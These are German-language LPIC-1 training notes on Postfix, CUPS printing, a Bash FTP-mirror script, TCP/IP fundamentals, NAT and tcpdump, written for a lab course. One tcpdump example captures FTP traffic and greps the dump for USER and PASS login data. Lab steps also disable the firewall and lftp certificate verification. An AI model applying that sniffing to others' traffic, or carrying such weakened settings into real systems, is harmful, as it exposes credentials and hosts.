exim (kleiner, feiner Daemon, Standard Debian-MTA)
Installation von „postfix“
DEBIAN: apt-get install postfix (Profil „Internet Site“ wählen, DNS-Name: domain.site)
CentOS: rpm -qa | grep post (Ist bereits vorinstalliert)
Konfigdateien:
Meisterdatei: /etc/postfix/master.cf (Einbindung von Spamassissin, ClamAV, == Inetd)
- Hauptdatei: /etc/postfix/main.cf (Hauptkonfigdatei)Wichtige Einstellungen:
- Für welche Domaine nehme ich Nachrichten an? ⇒
mydestination
BILDUNG: hostname.domain.tldHostname ermitteln: „hostname“ → deb7Im Beispiel:mydestination = deb7.domain.site, localhost
- Aus welchem Netzwerk Anfragen zugelassen werden: ⇒
mynetworks
Im Beipiel von weiteren Netzwerken, in denen die MTAs stehen, ansonsten reicht ‚127.0.0.0/8‘ aus:mynetworks = 172.16.0.0/30 127.0.0.0/8 ...
- Soll über einen MX-Record (DNS, via UDP, Port 53) die Mail-Domäne aufgelöst werden? Nein: im einfachsten Falle reicht statische Auflösung in den /etc/hosts-Dateien auf allen beteiligten Rechnern.Schalter explizit setzen:
disable_dns_lookups = yes
Kontrolle der Einstellungen: postconf -n | egrep ‚mydest|mynet|dns‘
disable_dns_lookups = yes
mydestination = deb7.domain.site, localhost
mynetworks = 172.16.0.0/30 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
Dienst neu starten: service postfix restart
Namensauflösung für beide Testsysteme konfigurieren
Statische Zuordnung vi /etc/hosts
(Eintragen der
IP-Adress-Namenzuordnung des jeweils Anderen)
Auf Debian: 172.16.0.2 cent7.domain.site cent7
Auf CentOS: 172.16.0.1 deb7.domain.site deb7
BEISPIEL VON CENTOS:
cat /etc/hosts
### Die Domaine für die Maschine selbst festlegen:
127.0.0.1 cent7.domain.site cent7
::1 cent7.domain.site cent7
### Den benachbarten MTA auflösen
172.16.0.1 deb7.domain.site deb7
Hostname festlegen:
vi /etc/hostname
cent7.domain.site
Mailsystem inbetriebnehmen
Checkliste:
Funktioniert die Namensauflösung?
hostname -f (Dateien: /etc/hostname, /etc/hosts)
domainname -d [-I]
Bei Debian zusätzlich wichtig: /etc/mailname (→ deb7.test.site)
ping-Tests mit FQDN durchführen
Konfiguration von Postfix (auf Debian):
Unter Debian:
Datei prüfen:
egrep '^mydest|^mynet|dns' /etc/postfix/main.cf
mydestination = deb7.test.site, localhost mynetworks = 172.16.0.0/30 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 disable_dns_lookups = yes
Syntaxcheck, resultierende Einstellungen:
postconf | egrep '^mydest|^mynetworks\ |disable_dns'
disable_dns_lookups = yes mydestination = deb7.test.site, localhost mynetworks = 172.16.0.0/30 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
Unter CentOS:
Datei prüfen:
egrep '^mydest|^mynet|dns' /etc/postfix/main.cf
mydestination = cent7.domain.site, localhost.$mydomain, localhost disable_dns_lookups = yes
Syntaxcheck, resultierende Einstellungen:
postconf | egrep '^mydest|^mynetworks\ |disable_dns'
disable_dns_lookups = yes mydestination = cent7.domain.site, localhost.$mydomain, localhost mynetworks = 127.0.0.0/8 172.16.0.0/30 192.168.99.0/24 [::1]/128 [fe80::]/64
Bei CentOS 8 ist zusätzlich noch (genauso wie bei OpenSUSE) das Schnittstellen-Listening auf ‚all‘ zu setzen:
inet_interfaces = all
Firewall konfigurieren; Port 25 öffnen (Zur Kontrolle:
firewall-cmd --list-all
):firewall-cmd --permanent --add-port=25/tcp systemctl reload firewalld
Nach Änderungen der /etc/postfix/main.cf nicht vergessen, den MTA neu zu starten:
service postfix reload
Nun müssen beide Systeme Port 25 geöffnet haben:
ss -ltp 'sport = 25'
(alternativ:netstat -tln
)
E-Mails versenden
Von Debian aus:
echo Inhalt | mail -s Mailing1 tux@cent7.domain.site
Von CentOS aus:
echo Inhalt | mail -s Mailing2 tux@deb7.test.site
Kontrolle:
Debian (in separaten Fenster):
tail -f /var/log/mail.log
CentOS (in separaten Fenster):
tail -f /var/log/maillog
Auf beiden Systemen: Ist die ausgehende Queue (/var/spool/mqueue) leer geworden?
mailq
Wenn nicht, sofortigen Zustellversuch anstoßen:
sendmail -q
Auf beiden Seiten die mbox-Dateien im Empfangsordner betrachten (Zeitstempel!):
ls -ltrc /var/spool/mail/
-rw------- 1 mail mail 223427 Jan 28 14:39 mail -rw-rw---- 1 nobody mail 876 Jan 28 15:09 nobody -rw-rw---- 1 herbert mail 445 Jan 29 15:12 herbert -rw-rw---- 1 hubert mail 455 Jan 29 15:13 hubert -rw-rw---- 1 tux mail 7258 Jan 29 16:09 tux
Oder als Nutzer die Mails regulär lesen:
su - herbert mail
Wie auch openSuSE sagt: Have a lot of fun…
Fragen/Aufgaben zur Wiederholung
Nennen Sie vier typische Linux-MTA’s.
sendmail
postfix
qmail
exim
Woran erkennt man, dass der Mailer Daemon die Mails erfolgreich ausliefern konnte?
⇒ Es sind keine Mails mehr in der ausgehenden Warteschlange, zur Überprüfung:
Kommando
mailq
Verzeichnis /var/spool/mqueue
Mit welchem Kommando kann man einen erneuten Mail-Auslieferungsversuch auslösen?
Kommando
sendmail -q
Wie heißt die Datei, in der Sie einen anderen, stellvertretenden E-Mailnamen für ein oder mehrere existierende E-Mail-Adressen definieren können? (Vollständigen Pfad mitsamt Dateinamen angeben)
Datei /etc/aliases
Welches Kommando müssen Sie ausführen, nachdem Sie solch einen stellvertretenden E-Mailnamen festgelegt haben?
Kommando
newaliases
Wie heißt die Datei, in der Sie als einfacher Benutzer für den Zeitraum Ihrer Urlaubsabwesenheit die E-Mailadresse Ihrer Vertretung angeben können, die dann Ihre Nachrichten erhält?
Datei ~/.forward
Erweitern Sie das Skript ftpmirror um einen im Vorfeld auszuführenden Erreichbarkeitstest des verwendeten FTP-Servers. Ist er nicht ansprechbar, soll das Skript vor der Ausführung von „lftp“ seine Arbeit mit einer Fehlermeldung und dem Exitcode 5 quittieren.
Dateiname des Skriptes: ftpmirror
#!/bin/bash
#
# ftpmirror
host="lpic1.example.test"
download(){
lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' $host
}
### Lösung 1
#ping -c1 $host > /dev/null 2>&1 || download
### Lösung 2
#ping -c 1 $host
ping -c 1 $host > /dev/null 2>&1
if [ $? -ne 0 ]
then
echo "NETZWERKFEHLER: Host $host nicht erreichbar."
else
download
fi
108.4 Manage printers and printing
Linux-Drucksysteme
Der portierte BSD-Spooler: lpr/lpd (Line Print Daemon)
/etc/printcap: Kürzel:
rm
= remote machine,rp/lp
= remote printcap
Erweiterter BSD-Spooler: lpr-ng (Line Print Next Generation)
- CUPS: Common Unix Printing System (von Apple)=> spezielles Protokoll: Internet Printing Protocol (IPP, TCP-Port 631)
Das große Problem ist nach wie vor: Wie ist der Linux-Support (Treiber), also vor dem Kauf informieren:
http://www.linuxfoundation.org/collaborate/workgroups/openprinting/database/databaseintro
Ziel ist hierbeit, eine zum Drucker passende PostScript Printer Description (PPD-Datei) zu erhalten.
Was bedeutet Drucker „Linux-Druckertreiber“?
In erster Linie: Übersetzungprogramm (Filter) von verschiedensten Druckersprachen (z.B. PCL5) ins Unix-Standardausgabeformat PostScript.
AUFGABE: Suche nach Paketen mit "filter" im Namen
apt-cache search filter | egrep -i 'print|druck'
=> Treffer, u.a.: foomatic, foomatic-db-gutenprint, ghostscript-cups
Hardware-Schnittstellen
Einfacher Test für Paralleldrucker:
echo Hallo Drucker... > /dev/lp0
USB-Drucker werden i.d.R. via udev automatisch erkannt
Netzwerkdrucker (Printserver): werden z.T. ebenfalls erkannt, ansonsten einfache manuelle Konfiguration möglich
Verwalten von Warteschlangen
Je nach Drucksystem gibt es unterschiedliche Kommandos, aus Kompatibilitätsgründen wird aber eine Mindestausstattung von BSD-artigen Tools immer mit ausgliefert, die rudimentäre Verwaltungsoptionen bieten.
Wichtige Werkzeuge:
Warteschlange einsehen: lpq [-l], lpstat
Druckaufträge löschen: lprm,
lpr -r
Aufträge verwalten: lpc (interaktives Programm, so kann z.B. mit topq ein Druckauftrag an den Anfange der Warteschlage gestellt werden.), cupsenable, cupsdisable, cupsaccept, cupsreject
Druckaufträge senden
Wichtige Werkzeuge:
Vom alten BSD-Spooler stammend:
lpr
Anzahl von Kopien angeben:
-#
, alternativ:-K
Druckername angeben (Printer):
-P <NAME>
Rohdaten ausdrucken (kein Druckerfilter benutzen):
-l
(Alternative:-o raw
)
Mit CUPS ausgelifert:
lp
Anzahl von Kopien angeben:
-n
Druckername angeben (destination):
-d <NAME>
Drucker konfigurieren
CUPS
Cmdline: lpadmin
Web-UI: Im Browser http://localhost:631
Konfiguration eines CUPS-Drucksystems
Installation
- Debian:
apt-get install cups
(Metapaket für Komplettsystem, nur der Client:cups-client
) CentOS:
yum install cups
Konfiguration
Drucker anschließen, und für Autoerkennung einschalten (USB, Netzwerk)
Drucker hinzufügen
Per Web-UI: Im Webbrowser: http://localhost:631
Alternativ kann das Webfrontend für LAN-Nutzung freigeschaltet werden. Siehe unter Zugriff via Web-Frontend
a) Ist Port 631 offen?
nmap -p 631 localhost --> Ja, per lo (127.0.0.1)
GRUND: grep Listen /etc/cups/cupsd.conf Listen localhost:631
nmap -p 613 172.16.0.1 --> Nein
==> einfach eine Ziele hinzufügen: "Listen 172.16.0.1:631"
Zusätzlich muss am Ende des Abschnittes "<Location /admin>" hinzugefügt werden: "Allow @LOCAL"
b) Die wichtigsten Schritte:
„Administration“ → „Add Printer“ → Als root authentifizieren
- Jetzt sollten Drucker entdeckt worden sein („Discovered Printer“) → Auswahl treffen (evl. mit dmesg kontrollieren, ob USB-Gerät gefunden wurde;im Netzwerk selber suchen:
nmap -p 21,613,9100 192.168.2.0/24
)⇒ Oft verwendete URI, falls keine Erkennung möglich war: socket://10.0.0.10:9100 Im Feld „Name“ kurzen Namen vergeben
Treiber finden (Per Hersteller/Modell, notfalls „generic“-Treiber mit zugehöriger Druckerspache wählen (PCL6)
Bestätigen mit „Add Printer“
Papieroptionen mit „Set Default Options“ festlegen
- Im letzten Schritt den neuen Drucker zum Standarddrucker machen:→ unter „Drucker Verwalten“(Englisches UI: „Administration“)„Als Standard festlegen“ (engl: „Set as Server default“)
Kontrolle: Nach
lpstat -t
zeigt nun auchlpq
den Drucker an.
Fragen/Aufgaben zur Wiederholung und Vertiefung
Theoretische Fragen
Laden Sie das Dokument von http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html, beantworten Sie auf dessen Basis sowie mit Hilfe der jeweiligen man-Pages die folgenden Fragen.
- Wozu dient das Programm pr, wie können Sie damit einen Heftrand von 7 ASCII-Zeichen erzeugen?→
man pr
→ Weiterführendes unter:http://ftp.utcluj.ro/pub/docs/ldp/bible-src/howtos/printing.html#SEC2
pr -o 7 /etc/hosts | lp -d MyEpsonLaser
- Studieren Sie die Möglichkeiten des Verwaltungswerkzeuges lpc.Beispiele aus dieser Quelle:
lpc down myprinter lpc enable yourprinter lpc topq 37
- Wie ist die Datei /etc/printcap aufgebaut, wie gibt man entfernte Drucker an?Aus dieser Quelle:
cat /etc/printcap
# Sample printcap entry with two aliases myprinter|laserwriter:\ # lp is the device to print to - here the first parallel printer. :lp=/dev/lp0: \ # sd means 'spool directory' - where print data is collected :sd=/usr/spool/lpd/myprinter:
Weitere Anweisungen: if string - specify the input filter name rm string - specify the name of a remote printing machine rp string - specify the name of a remote printer
- Wie versteht man unter einem Filter-Skript, welche Rolle spielt dabei
lpr -l
?= Ausführbares Shell-Skript, das z.B. mit „sed“ Zeichen ersetzt und mittels der Anweisung „if=…“ in der /etc/printcap aufgerufen wird.Das Kommandozeilenfragmentlpr -l
bedeutet „ohne Filter ausdrucken“ (= Rohdatendruck). - Mit welchen Dateien lassen sich beim lpr-Drucksystem Berechtigungen verwalten?Aus dieser Quelle: /etc/hosts.lpd is for printing only. (Eine Client-Maschine pro Zeile), /etc/hosts.equiv will allow for unauthenticated logins (Trusted Hosts, jeweils ein „hostname username“-Paar pro Zeile hinterlegen)
Praxisaufgabe zur Vertiefung von Shell Scripting
Zielstellung: Erweiterung des Skriptes ftpmirror um eine Upload-Funktionalität
Legen Sie eine Ordnerstruktur namens ~/Upload an.
mkdir ~/Upload
Fügen Sie Ihrem Skript eine Funktion namens upload hinzu, die die folgende Kommandozeile beinhaltet, ersetzen Sie dabei das im Quellpfad stehende Wort USER durch Ihren Loginnamen, tragen Sie außerdem im Zielpfad anstelle von
<IHR-NACHNAME>
Ihren Nachnamen (Ohne Leerzeichen und Umlaute!) ein.lftp -e 'mirror --verbose --reverse /home/USER/Upload /HandOuts/Kursteilnehmer/<IHR-NACHNAME>; by' lpic1.example.test
LÖSUNG:
upload(){ lftp -e 'mirror --verbose --reverse /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host }
- Erweitern Sie Ihr Skript um eine case-Verzeigung, die bei Übergabe des Schlüsselwortes down einen Download mittels der bereits vorhandenen Funktion download startet. Sehen Sie weiterhin einen zweiten Zweig mit dem Schlüsselwort up für den Upload von Daten vor.→ Siehe case-Beipiele unter http://www.thegeekstuff.com/2010/07/bash-case-statement/
Unterhalb von "else" in die if-Verzweigung einfügen, das Wort "download" ausschneiden und unterhalb von "down)" platzieren:
case "$1" in down) download ;; up) ;; *) echo "Aufruf: $0 {down|up}" ;; esac
Rufen Sie die oben definierte Funktion upload aus demjenigen case-Zweig auf, den Sie mit dem Schlüsselwort up ausgestattet haben.
Das Wort "upload" an passender Stelle hinzufügen:
case "$1" in down) download ;; up) upload ;; *) echo "Aufruf: $0 {down|up}" ;; esac
Testen Sie das Hochladen von Daten, in dem Sie eine Testdatei in den Ordner ~/Upload legen und danach das Skript mit
./ftpmirror up
ausführen.echo 123 > ~/Upload/tests.txt ./ftpmirror up
Hier ist das gesamte Skript:
#!/bin/bash
#
# ftpmirror
host="lpic1.example.test"
download(){
lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' $host
}
upload(){
lftp -e 'mirror --verbose --reverse /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}
ping -c 1 $host > /dev/null 2>&1
if [ $? -ne 0 ]
then
echo "NETZWERKFEHLER: Host $host nicht erreichbar."
else
case "$1" in
down)
download ;;
up)
upload ;;
*)
echo "Aufruf: $0 {down|up}" ;;
esac
fi
Freigeben von CUPS-Druckern
Voraussetzung: Ein mit dem Web-UI oder lpadmin
eingerichteter Drucker.
Administration via LAN aktivieren (Auf CentOS)
vi /etc/cups/cupsd.conf
# a) Unterhalb "Listen localhost:631" hinzufügen:
NEW: Listen 172.16.0.2:631
# b) Als globale Voraussetzung Druckerfreigaben erlauben
# Ergänzung von "Allow @LOCAL" im Server-Root-Abschnitt unterhalb von "Order allow,deny":
<Location />
Order allow,deny
NEW: Allow @LOCAL
</Location>
# c) Administrative Fernadministration via Web-UI erlauben
# Ergänzung von "Allow @LOCAL" im "/admin"-Abschnitt
<Location /admin>
Order allow,deny
NEW: Allow @LOCAL
</Location>
Damit ist der Drucker als Printserver im LAN nutzbar (die erlaubten Netzwerk-IDs werden mittels „@LOCAL“ eingebunden), zugleich lassen sich Drucker fernadministrieren.
Freigabe eines speziellen Druckers
Als erstes muss der Druckdienst gestoppt werden, da im laufenden Betrieb die Druckerkonfigurationsdatei NICHT bearbeitet werden darf:
service cups stop
Nun muss die Datei /etc/cups/printers.conf
bearbeitet werden, dem
Parameter „Shared“ übergibt man beim betreffenen Drucker „Yes“.
Shared Yes
Nun kann der Dienst wieder gestartet werden:
service cups start
Zugriff via Web-Frontend
Nun ist nicht nur eine Konfiguration vom selben Rechner aus möglich, sondern auch von einem beliebigen Rechner des LANs:
firefox http://172.16.0.2:631
--> Ins Untermenü "Administration" gehen
--> "Add Printer" anklicken
==> Weiterleitung zu Secure-HTTP (https), das selbstsignierte Zertifikat, das
jetzt ausgelifert wird ist noch gegenzuprüfen:
Ausgabe des Fingerabruckes allgemein:
openssl x509 -fingerprint -noout -in <ZERTIFIKAT>
Beim CentOS-Druckserver wird erst in diesem Moment das CUPS-Zertifikat erzeugt, vorher war der Ordner "/etc/cups/ssl" leer!
Jetzt aber lässt sich der Fingerabrduck auf die Server erzeugen:
openssl x509 -fingerprint -noout -in /etc/cups/ssl/server.crt
(Am besten ausdrucken und dem Client zur Verfügung stellen, damit er den
in seinem Webbrowser angezeigten Zertifikatsfingerabdruck prüfen kann: es muss die selbe Zeichenkette wie die eben von "openssl"
ausgegebene sein!)
Druckclients einrichten
Unter Linux:
Einfache Client-Konfigration (auf Debian)
Es muss kein CUPS-Daemon installiert sein/laufen, wir brauchen lediglich das Paket „cups-client“.
Angabe des CUPS-Servers in der Datei client.conf (eine Art „Zeiger“):
cat /etc/cups/client.conf
ServerName 172.16.0.2
Unmittelbar danach kann die Erreichbarkeit mit
lpq
oderlpstat -t
getestet werdenDrucken kann man z.B. so:
pr -o 7 /etc/hosts | lp -d Brother-HL2250
Hierbei wird die komplette Aufbereitung der Druckjobs auf dem entfernten Druckserver gemacht. Das kann bei geringer Rechenleistung evl. länger dauern! Deswegen ist es manchmal besser, die Aufbereitung lokal durchzuführen:
Client-Konfigration mit CUPS-Daemon
Neuen Drucker im Web-UI- einrichten
URI mitgeben (= der „Zeiger“): http://172.16.0.2:631/ipp/
Passenden Treiber wählen (Wichtig wegen der lokalen Aufbereitung!)
Namen vergeben, speichern…
Unter Windows:
Angabe einer URL im Druckerdialog wie: http://172.16.0.2:631/printers/Brother-HL2250
Fragen/Aufgaben zur Wiederholung und Vertiefung
Wie heißt die Haupt-Konfigurationsdatei von CUPS (volle Pfadangabe)?
/etc/cups/cupsd.conf
Wie heißt die Drucker-Konfigurationsdatei von CUPS (volle Pfadangabe)?
/etc/cups/printers.conf
Wie heißt die Client-Konfigurationsdatei von CUPS, in der Sie einen entfernten Server spezifizieren können (volle Pfadangabe)?
/etc/cups/client.conf
Topic 109: Networking Fundamentals
109.1 Fundamentals of internet protocols
Einführung TCP/IP
Ein guter Überblick zur Geschichte: http://www.michaelkaul.de/Geschichte/zakon/zakon.html
Eine gute Darstellung der Schichtenmodelle: http://tcp-ip-info.de/glossar/glossar_t.htm
Kurzbeschreibung der einzelnen Schichten:
Layer 7: Beschreibung der Anwendungen (E-Mail, WWW → HTTP (zustandslos), FTP)
Layer 6: Darstellung der Daten, so dass alle Teilnehmer sie verstehen können, Verschlüsselung (SSL)
Layer 5: Kommunikation steuern (VoIP: Sitzung aufbauen, durchführen und abbauen)
Layer 4: Datenströme etablieren → i.d.R. via TCP, (Datenverluste ausgleichen), Portnummern definieren
Layer 3: Logische Adressierung (IP-Adresse), Wegefindung [Datagramm]
Layer 2: Phyische Adressierung (MAC-Adresse), Flusskontrolle [Datenpaket: Frame]
Layer 1: Beschreibung der Übertragungsmedieneigenschaften [keine Datenpakete, Bitstrom]
Auf OSI Schichten 1 und 2 rangiert die Standardvernetzungstechnologie „Ethernet“, wichtige Merkmale:
Definition eines Zugriffsverfahrens CSMA/CD für Shared Media
Mittels Media Access Controll-Adressen (MAC = 48 bit lang) lassen sich Netzwerkknoten adressieren
Es wird immer Bustopologie verwendet (Heute: Logisch Bus, physisch Stern → Switch)
- Datenpaketorientierter Transport (Ethernet-Frame) → MTU-Wert: 1500 ByteKommandos:
Ausgabe des ARP-Caches:
arp -an
ARP-Cache löschen:
ip neigh flush all
Portnummern
E-Mail-Kommunikation: 25 (SMTP), 110 (POP3), 143 (IMAP)
WWW: 80 (HTTP), 443 (HTTPS) [Standard-Transportprotokoll ist dabei TCP]
DNS-Namensauflösung: 53 (Domain) [Standard-Transportprotokoll ist dabei UDP]
Network Time Protocol 123 (NTP) [Standard-Transportprotokoll ist dabei UDP]
…
Daneben gibt es noch eine Datei, die die Protokollnummern definiert:
/etc/protocols
, z.B. ein Eintrag für das Internet Protocol lautet:
„ipv4 4 IPv4“
IP-Adressierung und Routing
Filmempfehlung „Warriors of the Net“ (Youtube, dt. Übersetzung)
IP-Protokollversionen:
IPv4: Adresslänge = 32 bit
IPv6: Adresslänge = 128 bit
Das Adressierungsschema von IPv4:
Max. Adressenzahl ein unaufgeteilten einzigen Netzwerk: 2^32 ~ 4 Mrd Hosts
Unterteilung schafft Unternetze, Adressklassen:
- Class A: 2²⁴ = 16777216 - 2 = 16777214 adressierbare Hosts pro Netzwerk(2⁷ = 128 - 2 [Ausnahmsweise nur bei Class A: „- 2“ !!] = 126 Netzwerke)
Hilfstabelle für Umrechnung Dezimal / Dual
128 |
192 |
224 |
240 |
248 |
252 |
254 |
255 |
128 |
64 |
32 |
16 |
8 |
4 |
2 |
1 |
2⁷ |
2⁶ |
2⁵ |
2⁴ |
2³ |
2² |
2¹ |
2⁰ |
⇐ ⇐ ⇐ ⇐ ⇐ Stellenwert wird in dieser Richtung größer.
Fragen/Aufgaben zur Wiederholung und Vertiefung
Studieren Sie die Tabellen auf http://www.elektronik-kompendium.de/sites/net/0811271.htm bezüglich der 5 Adressklassen und der 3 privaten Bereiche in Class A-, B- und C-Netzwerken.
Weitere gute Adressen:
http://www.itwissen.info/definition/lexikon/Internet-protocol-IP-IP-Protokoll.html
Nennen Sie die beiden Dateien, die sich mit der Benennung von Protokoll- und Port-Nummern befassen.
a) /etc/protocols b) /etc/services
Welche TCP-Portnummern verwenden die Daemons von Telnet, IMAP, HTTPS, Samba, ssh und NTP?
Telnet: 23
HTTP: 80
HTTPS: 443
IMAP: 143
Samba: 135-139, 445
ssh: 22
NTP: 123
Wie können Sie sich den ARP-Cache auf einer Maschine ausgeben lassen, wobei keine Namensauflösung durchgeführt werden soll?
Kommando
arp -an
Fügen Sie dem Skript ftpmirror einen weiteren Case-Zweig namens up-delete hinzu, der den
lftp
-Schalter--delete
für das Uploaden verwendet, um die Daten auf dem Server zu löschen, die nicht auf der sendenden Seite (also lokal) existieren.
Der Gesamtinhalt des Skriptes:
#!/bin/bash
#
# ftpmirror
host="lpic1.example.test"
download(){
lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' $host
}
upload(){
lftp -e 'mirror --verbose --reverse /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}
upload-delete(){
lftp -e 'mirror --verbose --reverse --delete /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}
ping -c 1 $host > /dev/null 2>&1
if [ $? -ne 0 ]
then
echo "NETZWERKFEHLER: Host $host nicht erreichbar."
else
case "$1" in
down)
download ;;
up)
upload ;;
up-delete)
upload-delete ;;
*)
echo "Aufruf: $0 {down|up|up-delete}" ;;
esac
fi
NAT unter Debian einrichten
Voraussetzung:
Netzwerkkarte 1 (eth0): <IP-Adresse im LAN> (per DHCP via Bridge)
Netzwerkkarte 2 (eth1): 172.16.0.1 (statisch gesetzt, im internen Netz „intnet“)
Aktivieren von IP-Forwarding (Datenpakete zwischen den NICs weiterleiten)
Temporär zur Laufzeit:
a) echo 1 > /proc/sys/net/ipv4/ip_forward
b) sysctl -w net.ipv4.ip_forward=1
Dauerhaft machen:
vi /etc/sysctl.conf
net.ipv4.ip_forward=1 ## Zeile 28 aktivieren
Akivieren von Network Address Transaltion:
Zur Laufzeit (Wichtig ist hierbei die Angabe des Outgoing-Interfaces mit -o, oft ppp0, hier: eth0)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
-> Im einfachsten Fall dauerhaft machen, indem man diese Zeile in die Datei
/etc/rc.local
VOR dem 'exit 0' schreibt.
Kontrolle:
iptables -t nat -vnL
Konfiguration/Testings auf CentOS:
Ping zu 172.16.0.1 (= Standard-Gateway)
STD-GW setzen: route add default gw 172.16.0.1
STD-GW fest eintragen: vi /etc/sysconfig/network → GATEWAY=172.16.0.1
Ping zu 8.8.8.8, und zu ix.de (wenn letzteres nicht funktioniert, die /etc/resolv.conf bearbeiten: nameserver 194.25.2.129)
IP-Adressen wurden bereits konfiguriert:
/etc/sysconfig/network-scripts/ifcfg-eth0 /etc/sysconfig/network-scripts/ifcfg-eth1
Netzwerk neu starten:
/etc/init.d/network stop /etc/init.d/network start
Secure Shell Zugang aktivieren und nutzen
Wird der sshd automatisch gestartet?
Bis Cent0S 6.5: chkconfig
Ab CentOS 7.0:
systemctl -a | grep ssh
Alternativ: systemctl --state=active --type=service | grep ssh
Firewall vorerst deaktivieren:
Bis Cent0S 6.5:
service firewalld stop service --status-all (zur Kontrolle) chkconfig firewalld off
Ab CentOS 7.0:
[service firewalld stop] systemctl stop firewalld systemctl disable firewalld
Kontrolle:
iptables -vnL [-t nat]
SSH benutzen
Von Debian aus: ssh tux@192.168.0.2
Weitere Software installieren
yum install nmap lynx gpm
service gpm start (Maus-Unterstützung für die virtuelle Konsole starten)
Weitere Aufgaben zur Wiederholung
Installieren Sie auf Debian den FTP-Client lftp, erstellen Sie danach eine Konfigurationsdatei in Ihrem normalen Benutzeraccount:
/bin/su - apt-get update apt-get install lftp exit
mkdir ~/lftp echo 'set ssl:verify-certificate no' > ~/.lftp/rc echo 'set ftp:ssl-allow no' >> ~/.lftp/rc
Prüfen Sie den Inhalt der Datei ~/.netrc, sie beinhaltet die automatisch übergebenen Logindaten für den FTP-Server unseres Kurses.
Legen Sie ein Verzeichnis für die zu spiegelnden Daten an:
mkdir ~/LPI-102
Testen Sie, ob Sie mit der folgenden Zeile alle Dokumente aus dem entfernten FTP-Verzeichnis /HandOuts/PemmannAxel/LPI-102 in Ihr lokales Verzeichnis /home/tux/LPI-102 herunterladen können. Setzen Sie dabei anstelle von „tux“ Ihren Benutzernamen ein.
lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' lpic1.example.test
Schreiben Sie abschließend diese Zeile in ein Shellskript, das Sie später komfortabel ausführen können. Dokumentieren Sie darin die Namen und den Inhalt der beiden Konfigrationsdateien.
Inhalt der Datei ~/.netrc
machine lpic1.example.test
login myUsername
password myPassword
Internet Protocol version 6
Die Adresslänge wurde von 32 bit auf 128 erhöht. Der Grund: Adressknappheit (vor allem in Asien).
In der Regel wird Hexadezimlschreibweise verwendet, Doppelpunkte unterteilen 8 Abschnitte zu je 16 bit.
Weitere Eigenschaften:
DHCP kann nativ mittels built-in Funktionen genutzt werden (Solicitations und Advertisements) oder mit einem separaten DHCPv6-Server
Broadcasts wurden abgelöst, anstelle dessen werden Multicasts verwendet („ein Hallo an alle Router“ oder ein „Bitte konfiguriere mich“ an alle Hosts)
Unterschiedlich große Bereiche von Unicast-Adressen:
- Link-Local (nur auf eine bestimmte Schnittstelle gültig) → Option:
-I <IF>
Beispiel:ping6 -I eth0 fe80::70ce:3d8:d8ad:27b9
Unique-Local (nur im physischen Netzsegment gültig), keine Routerfindung, Beispieladresse: fc00::/7
- Globale-Unicast (Weltweite Nutzung), Beispieladresse: 2a02:2e0:3fe:1001:302:: zur Domain six.heise.deBeispiel zum mitmachen (Debian):
ip addr add 1234::1/64 dev eth0
→ping6 -c2 1234::2
Beispiel zum mitmachen (CentOS):ip addr add 1234::2/64 dev eth1
→ping6 -c2 1234::1
Header: Kleiner, schlanker und flexibler als bei IPv4 (→ schnellere Netze), fester, kleinerer MTU-Wert: 1280 Byte
Mobilität bei wechselnden IP-Adressen in verschiedensten Intranets: nach wie vor umständlich via Home-Agent
Unterstützung von IPsec (= geplante Standard-VPN-Lösung) ist da, muss aber genauso manuell implementiert werden wie bei IPv4
Dual-Stack-Betrieb (IPv4 gleichzeitig mit IPv6): Das neue IPv6 hat Vorrang, d.h. zuerst wird versucht, den angfragten Host per IPv6 aufzulösen, nach kurzem Timeout dann per IPv4
Aus Performance und Sicherheitsgründen kann es u.U. besser sein IPv6 zu deaktivieren, siehe https://www.thomas-krenn.com/de/wiki/IPv6_deaktivieren
Erweiterung Netzwerk
Ziel: Der Debian-Router soll eingehende Anfragen an Port 222 an den im isolierten Netz laufenden CentOS-Rechner zu seinem Standard-Port 22 weiterleiten (Port-Forwarding).
Wichtige Informationen in Voraussetzung:
Wie lautet die eingehende Schnittstelle von Debian (putty.exe → LAN-Bridge → eth0)
Wie lautet die IP-Adresse auf eben dieser Schnittstelle? (→ 10.23.18.109)
Zu welcher IP-Adresse soll weitergeleitet werden? (CentOS → 172.16.0.2)
Wie lauten die zu mappenden Portnummern? (222 → 22)
Die Kommandozeile lautet in diesem Fall:
iptables -t nat -A PREROUTING -i eth0 -d 10.23.18.109 -p tcp --dport 222 -j DNAT --to-destination 172.16.0.2:22
Dauerhaft machen der Einstellung: Datei /etc/rc.local ergänzen.
Paketanalyse mit tcpdump
Beipiele:
tcpdump -i eth0
tcpdump -i eth0 host 10.23.10.100
tcpdump -i eth0 host 10.23.10.100 and not port 22
tcpdump -i eth0 host 10.23.10.100 and not port 22 -A
tcpdump -i eth0 host lpic1.example.test -w ftp.dump
grep -a USER ftp.dump (→ f009cec1)
grep -a PASS ftp.dump (→ pFLN…)
tcpdump -i eth0 host \(10.23.10.100 or 10.23.18.1 \)
Fragen/Aufgaben zur Wiederholung und Vertiefung
Ein Netzwerk beschreibt sich mit 192.168.4.0 und der Netzmaske 255.255.255.0. Es sollen durch Subnetting mindestens 5 Rechner in jedem der zu bildenden separaten Teilnetzen aufgestellt werden können, diese Anzahl soll aber nicht mehr als nötig erhöht werden. Wie lautet die neue Netzwerkmaske in CIDR- und Dezimalschreibweise?
--> Es müssen 3 Host-Bits auf 0 bleiben, also: 2^3 -2 = 6 verwendbare Adressen
Maskenberechnung:
11111111.11111111.11111111.00000000
Move /24 to /29
11111111.11111111.11111111.11111000
Umrechnug in dezimale Schreibweise:
11111 = 2^7 + 2^6 + 2^5 + 2^4 + 2^3 = 248
